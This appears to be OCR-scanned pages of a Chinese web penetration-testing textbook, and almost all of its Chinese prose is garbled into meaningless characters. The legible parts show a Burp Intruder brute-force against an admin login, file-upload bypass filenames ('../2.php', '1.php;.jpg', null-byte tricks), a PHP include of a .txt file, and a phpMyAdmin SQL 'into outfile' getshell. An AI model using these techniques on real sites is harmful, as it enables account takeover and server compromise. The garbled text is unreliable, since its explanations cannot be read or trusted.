FEEN A SRl 2 — P SO NG B0 25 5 (35 SCHRAS T . X Ttk
A, AEIX YR LM AT I I

(D FHEASMOE RS, FESERAEABIMRGE, 55 W2 Google.

(2) HWhois#r H & BE 5L HEAR , SR 5 & Oy ME AR 0 8 2 O, 1k S o503 . il
RN BT ARRBLT « FATT R ook M vy, 485 () 0 3l 778 XU, 37 7 RIS B i 7 04 2%
ﬁ% ...... ”o
(3) 4r#TCookie. I IN# ik 1% S 2> M AE Cookie B, X T IX PP, H
T 5% (5 SR K Cookie P 1) 25 SCBITT

(4) TEFEE NS, A e ] LA T SO et R 1) 26 30, 48K, X Fhy
IRPAT S AT LU T R, A8 5L B TR Al L

(5) FIHFLIAI BT e . UL AL FH 2 Ok ) R R 0, XX Rl o, mrelf
AR A AR, ARG R R B 0 D g s U s H bR IK P

(6) BHRERIE, Bl gkIhae. BOdkRISaS Thae, 7E8dE b B % Stk
o XY, AT DL R )R SCIAT R, INIMHE T 8 5k S A A A
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3.3.1 FABurpi#{TIEH

Burp /& WebiZ i 1 F Tl e G C o, HLER e LT o, LG ey s LB R mp
SERRRAG . PR, WEANE, B A TR, RS R A AR YRR T .

(D) AR AR R TS, RANEXESAEAR T . &EeY)E, P
VA

(2) WE3-2217%, XHEBE R %admin, 151234568 5%, KW 78
BurpH i LG BIWIA 6 A E A AL, i 3-23R.

E3-22 BiEHIE
(3) HifiBurp T HIHHAT AT ActiondZ 4, v LUE 40 E3-24 T/~ 1 F RS Fps,

- -
B POST request to htpy/. JLogin/LoginVerifyLength=5 (o] B i Send to Spider
{ Previous ] l Next J { Action J Do an active scan
Do a passive scan
Regquest | Response
i o Send to Intruder Ctrl+l
Raw | Params I Headers | Hex Send to Repeater Ctrl+R.
POST /Login/LoginVerify?Length=5 HITF/l.L i Send to Sequencer
Host: a
llUser-Agent: Mozilla/5.0 (Windows NT £.1; rv:35.0) Gecko/20100101 Firefox/39.0 Send to Comparer
M Accept: */*
||Accept-Languags: zh-CH, zh;q=0.8, =n-US;q=0.5, en; q=0.3 Tem i Lzeniy
Accept-Encoding: gzip, deflate Show response in browser
[|content-Type: application/x-www-form-urlencoded; charsec=UTF-8
|x—nsquesced—nmh: XHLHttpRequest | Request in browser >
Referer:
| content-Length: 28 Engagement tools L=
Cookie: ASP.NET Sessionld=4fzlu3zllsjchixchoDeiodih Copy URL
ICmnnE keep-alive | 24
Pragma: no-cache Copy as curl command
l|cache-Control: no-cache
I i Copy to file
UserName=admingUserPud=123456 Save item
Convert selection >
Cut Ctrl+X
Copy Ctr+C
Paste Ctrl+V
h
v
| [P — Message editor help
? < + = .
U U U U { 1 e Proxy history help
]

E3-23 BRBIEXENHIES [E3-24 Action FhIsE
(4) 1&FfSend to Intruder, FLiliiZir 4o R 2Burpff) L5 AT, WE(3-2507R, WA S
Fi1f () IntruderiZB IR 23 158 W o
(5) P13 Intruderit i+, PAidiPositionsi&Iil, Ui&3-26/17~, W LA FINIAITH)
() HHE £
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Burp Intruder Repeater Window Help

Target | Proxy T Spider T Scanner T Intruder (Repeater ISequencer I Decoder I Comparer IExtender T Options | Alerts

Hlstory T Options ]

‘ Filter: Hiding CSS, image and general binary content

# A‘ Host ‘ Method ‘ URL ‘ Params ‘ Edited ‘ Status ‘ Length ‘ MIME t... | Extensi
1 hitp://123.249.48.9 POST | /Login/LoginVerify?Length=5 ) 0 200 335

E3-25 #iEEMsend to intruder

Burp Intruder Repeater Window Help

Target | Proxy | Spider | Scanner [ intuuder | Repeater | Sequencer | Decader | Comparer | Extender | Options | Alents

15 (2% | 3]

Target | Positions | Payloads | Options |

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload
positions - see help for full details.

Attack type: | Sniper ]

POST /Login/LoginVerify?Length-588§ HTTP/ 1.1

[}

Hosc: 3 A
User-Agent: Nozilla/5.0 (Windows NT £.1; rv:39.0) Gecko/20100101 Firefox/38.0
Accept: */* Clear §
Accept-Language: zh—CN, zh;q=0.8, en-US;g=0.5,en;q=0.3
Accept-Encoding: gzip, deflate Ao §
Content-Type: application/x-wwu-form-urlencoded; charset=UTF-8

ich: XML
Referer: Refresh
Content-Lengch:
Cookie: ASP.NET Session 1a-§4£z1u3z11s3cbixchOejoibs i
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache I

UserName=§adming cUser Pud=§123456§

E DDD[_J Type a search ferm 0matches | _Clear J
E3-26 ERE

(6) nf u%ﬁéﬁ)ﬁ SRR AR R T, X Burph AR f 1) B A W AR .

SO 34T 7 U8 ¥, LAk 123456, X5 HiiiAdd § #4411,
U)W@3N%T,%HUM%B%WRﬁEiT ok Kl nddi dso iy, oy

Eﬁﬁ*ﬁ,ﬁhxﬁﬁ@ﬁﬂuﬁﬁ%ﬁTo%¢mmm@ﬁﬁ%,%ﬁmm@%,ﬁ

LSCPERT A

Content-Length: 29

Coockie: ASP.NET_Sessionld=4fzluizllsjchixchODsjojk
Connection: keep-alive

Pragma: no-cache

Cache—Control: no-cache

UserName=admin&UserPud=§125456S|

=
A

T T T T Type a search term 0 matches
]

E3-27 EEBEBRHTE

(8) w328 7~, Mg sete, En] Ad T HEmk 7o % i b Intruderik

Ui, fidiStart attackmy %, WIEI3-29817~ .
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@ Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads

Paste RARRRY] L
222222

Load .. 333333

44444 »

4,
(Remowe J | 5gesss
Clear | | 668666

77T il

:

Add Enter a new item

Add from lst .. )]

El3-28 FESTHRINNE
Bl Burp Suitn Professional SISAB lcansed th Larrylod . =)

Burp [ LA Repeater Window Help

RPY:  Stait attack

Open saved attack

Actively scan defined insertion points

S —

— | Save attack config

? | Load attack config
Copy attack config number of payload sets depends on the attack type defined in the Positions tab. Various payload types are

EomhE e ad type can be customized in different ways

vvivyvyyw

Automat load positi
utomatic payload positions Payioad count. 22

Configure predefined payload lists

gy Request counk: 22

(2] Pavioad Ontions [Simnle list]

E3-29 HE&IFIREH
(9) XAl LA SR [FfE SAEAMER S . 7L 5E)s, iR Length, 4%
HIER . WE3-3007R, & Hbsot m a2, Al UG 2IER T adminiZ [71ff) Length
#2370, HABRIHAIE354, PIHA Wradmin oy A3 5

jRes«lLi Target | Positions TPaylnads TOptmns }
‘ Filter: Showing all items ‘ ?
Request 4| Payload | Status | Emor | Timeout | Length | Comment
10 000000 200 a O 354 :
1 123456 200 ] o 3=
12 654321 200 = O 354
13 88688888 200 a O 354
14 abcdefg 200 ] o 3=
15 admin 200 = g
16 admin123 200 a O 354
17 adming88 200 ] o 3=
18 adminabe 200 =] O 354
19 abc123 200 a O 354 v
Request | Response
Raw | Params I Headers | Hex
POST /Login/LoginVerify?Length=5 HTTP/L.L A

E3-30 BRRER
Tips: ] vAi# id Length{ 9 HE 5 & Peik 2%, th FAE R ) 69 5
8K, WIAR 2 Webili SR A IS UEMS o {2, B UFR K IHAA 7 gead () KU, R
Python Image Library. Tesseract-OCR. pytesseriX JL/MPythonfi — 7/, X _AHAL. SCF0
P AN IR e AR YU ELIER I 60% LA _F IR BG AL .

3.3.2 BEEAREWebih S8 EHRHER

FEX KA Webdli fiRBIE T, — Ao R HARIREI ol b, g N Fui AT K
HARFNE, — D KBLul fi— @A LN N SRR G T TRERG, LBEEER
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AT, FNIRZ %A a0 A R L AT e i — Lo py 3k 5 re B s, L
()L ARy | R I 2 B A RIS AEE T, KA SARZ A X
T, AN DB A ) RS kAR AN L, (H2 S AT R AR I Il

LN RGO UL, AP BGEIE H b A M e nnl A, Hila Zwww.
aaa.com, It "IN MEEME, I T IR AE R Simail.aaa.com. KK ALK, —M
ANV HBAE A% CE R . P @A A 13844, FrUX USSRk S i% ANz 4@
aaa.com. % K, A UHIE RG] #X @aaa.comBEAT 2, R w] UL L 7 4 10y 44
F), i — AR A T 2 PS4

ok, ZHAHRH RS e R BN A T A FHIE N, S8 B A
FOHE, ARAX R AR EAEEOR, B8 NE1123456. 8888888SIXAT: (155114
VRN B, T e R X — k. BT DURTT B8 2 Mg AR I 3 T 44 7

MR LA TR LG, 0] DO L8 P 44 B 7 IS0, SRR e B — 2 f i L
155 14, R AR, Ao Ls, MIEET P 4 .

Y D HIABAR H RN K P K S B e, SR N (R e A i P 3 FH 7 3 o3 3
fl R GE, A LUK RS miBiE R

3.4 Jafaldl

FEWebiBiEH, Ja & SRR A SRR PR . — DSk E 6 AR 2%
P A A TR K B B e T, O TRAEIX RGO, TR GBI AR S
JE G HAR, ENBIENOR THERL . A% WK A & bk B A R ?

341 E&EMIER

1. =5, ER

HOLI S B3 A AN T S B AR TR, IR VAR JRIBR AR AR, 5 S8
SREERIE TR . AR, TR H 3 RENCH LR BRI H 5, R K Tl o

2. R E

XTJE G Ak, WHMEL L Eintext. inurl, intitle® LA RIEIL, 65 XS
R, EHHEATE MR

3. TTHEER
FE KI 0E 3%rh U7 o] — AN Webdili i, EW W82 A A4y, o “ & F Ui
B SR mE3-3107R.
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e - o x
- o]
o E 1 2
=i f=iny R ==
4 £ B
https://www.baidu.com/favicon.ico =0 ~
https:/fvww.baidu.com/img/baidu.svg Etx
https:/fwww.baidu.com/img/bd_logo1.png BEiF
https:/fwww.baidu.com/img/baidu_jgylogo3.gif BiF v
bii 1 https:/fwww.baidu.com/favicon.ico
E-SicH X-ICON Efg
Foh: 1.07 KB (1,092 ZF75)
Rz : 16px x 16px
[ IEib=E www.baidu.com B1E&
IR TS - =] BEFAR)...
=8

E3-31 EFREER
FELR AR O B b T LUR B 2 BRSO A, AR S IR X 8y AT
A B GRS 6 SORTIN EAR Y, AT SeWebil s AR H S BOAN A%, bAl H s e
G HXITHx, Pl e8] )5 & i B e B e .

4. XSS
XSSP &3 A EOREN U H 4 20, FRATTE S ST SR E 2 I AT s AR
5 ZZhiga Rk EAiim O

TEX R B W shi EATIBIE I, 5 ORI — DR . Eean N H ARl U — A g N T
AT WebiziZ, (HHJG 68558 N2 ) — A RIS sl =004 . BRI/ 25% 1
ASS H R sl 2 (1) A AT BRI S IR AT B

oAt 1 B AFENE 2 — e Webili iU BR A S 12803 H, (HAESEprygizEt, Wi ak
IRHEA G RUHT B 0S84 80% [, 1M 5 & 8 sk AT AT & HoAtham 1, £58000. 8080 8001
IR WL BT, RSB H ARG B ZR S B A4, DLABE o iR 2 K i
I PE) UK 7

6. 5 iE) iR

BETFVENS — S84 B IR B B S Lol B . H e, RN E
U A, ARG ARGl f P I K SR T (9IS, v Rl st 1k AR I ACRE 10 4 SR &
BIEHARIE B Gy 288 H AR B AT ) TR A R, X I AE S K GE T n B 3
BEA BNU5 ISR T, 10— L GURAE 5 0 —SE B S AT R L, BT LAV ) SRRt
J& & itk

FETFR, RGN T J5 A8 BE 500 Wl EAT S8, D) REAEAEAR 2, s e
B, BRSOy MR SOfF B ARSE . ThREMm O, EBETOR IR 2 g A 8. 5
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A SRS D ER =R BT VRS VN O S e =N O R s Lk ok b R R N ER= s &L

R 2

342 FEWIEST

BiET, % Webili mi (1) )5 & H T JavaScripty:
UEAIE 5E cookie, 171X IR 21 1) T BEMEIR K .

& JavaScript il K it , PN E R AR P, PRk Tk, TR R
XX K & HEAE X A T avaScript2E 11 45l
REIEH VNG T . B, ERICMSH X G & N5k
it JavaScript, WIE3-3207, 1 LUE 2ISTHF A BRI

15, TIEVIREG . E3-32 JSHIZAITALBRIT T HIE
3K INN BE 2% ) javascript.enabled % & A falseltf, TR G G REAT UG IA],  4nl&I3-33 /7
N, WTUUEBIRIIVIN TGS, BEisthsnt 7 JavaScriptf46E .

FsEE

FIREERR (F3)

FIREETR (5250

FIsEEE
BEA ERE (F30) mr wang (=374

LTS
LR
DEHEE
AT )
LT )

EERSUSRTHE

phioco /uploadfile/201212252041166288, FRRIAE Fia L

FAERRTF (73 =0

E3-33 WMIN#HENGEE

343 FEHIN

SRR ARG )RR Z 5 & PR @, BB S P R EAS T AT DAV .
WL AL T A G B O PR . SO B AR 23S, MBI AT BRI B . B
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T L PR R E IS BRI ], Wirar, txt. mdb. sqld%, XFERE AT A MBI, $Em

.
3.5 ik agent

SCAF B AR B H ML R getshel 5942 o 1 SCAF AR ISR UE KRBT LA e 20 i
BRI IR S5 B i, X YR W AR R i Seid

3.5.1 ERBWIET R EEd

1. JavaScript3&iF 421t
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2% JavaScriptBI n] 281l .
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B LA JLF

(D FLELAPIHEA DRI 24, 5 WL Wasa. cers

(2) R/ANEiRESE, WAsP. pHps

(3) RIS .

(4) Rl SCIE 44 Ry i

(5) KT Bk,

Cookie: PHPSESSID=pfBtvcbes3iulg7km7ch7q9disE -
Connection: keep-alive

Content-Type: image/gif:

boundary= 2829179416656
Content-Length: 1209

2928179416658
Content-Disposition: form-data; name="news title”
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X AR Sl REH XU B, — 2 M AR AR B g Fokill ;. —sitie Ml 05 3
PEXS TS . WUEPHPR UL,  Jols— )i AR 7t — D xtSc e rh, B txtIF AR 0T
JHIAS, DRIy BAL s SRS PRI B 3-35 o IR ek — NPHPSCAEH, I dh o< txt
A

<?php

include '=x.txt';
23
E3-35 fm#ESMEB x x txt3X 4
FFHPHP H [fJinclude BAEUK NIA™ AL i txt ST & 13E 25, 1 IPHP Hinclude /& 5 H bR
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Content-Disposition: form-data; name="img thumb":
filename="../2.php"

Content-Type: application/octet-—-stream
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Content-Disposition: form-data; name="img thumb";

filename="1.php;.Jpg"
Content-Type: application/octet-stream
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Content-Disposition: form-data; nams="img thumb"; filename="ﬂ.phpD.jpg"
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jpge i) xxx.com/xx jpg/.phphf, JEA)xx jpeffi L4 i/ Ephp AT T o
(3) Nginx <8.03%F 7 15 AP AT I i
75 AR Rl A AN, SRR 7] X <<, jpg%00.php kAT H o 4G .
(4) Apachef# ik
Apaches WA 2 e U6 I AR, an 2R 0 AN TR b, e #5408 2 R I, Eean
xx.php.owf.rar /1 .owfHl.rar X 5 28 & Apache /N AT IR AT,  Apacheili 248 xx.php.owf.
rarfi# 47 Béphp -
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A EAL e getshell ) F 27Nz —, BR T 3CfF BAR, LGB IR 2 HoAb ¥ getshell )

1. phpMyAdmin

I FH 95 11 45 Xk phpMyAdmin, Vjj [ http://URL/phpmyadmin/libraries/select _lang.lib.
php, FILMG S H bR s Bk e, Radkst— Mk, 217 U T MySQLIE]:

Create TABLE a (cmd text NOT NULL) ;
Insert INTO a (cmd) VALUES (") ;
select cmd from a into outfile 'D:/usr/www/html/phpMyAdmin/d.php';

Drop TABLE IF EXISTS a;

XECTE A AT AR

BATH — AR AL E B b i — A Ras IBATH AR AR PHP — AR R
L Rlafrp; BAEPATH =60, CaR b B Mt H 5 Fid.php L, B D)
getshell.
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Const wrname=":A]
Const deseriptio
Const keywords="
Const wrurl="htt
Const wzloge="up
Conszt icp="FHICE
Const managename
Const email="899
Const telnum="""'
Const phonenum="
Const faxnum=""'
Const gqnum="599
Const address="i
Const ghoole_sh="
Const on_run="0"
Conzt off de="[
%>
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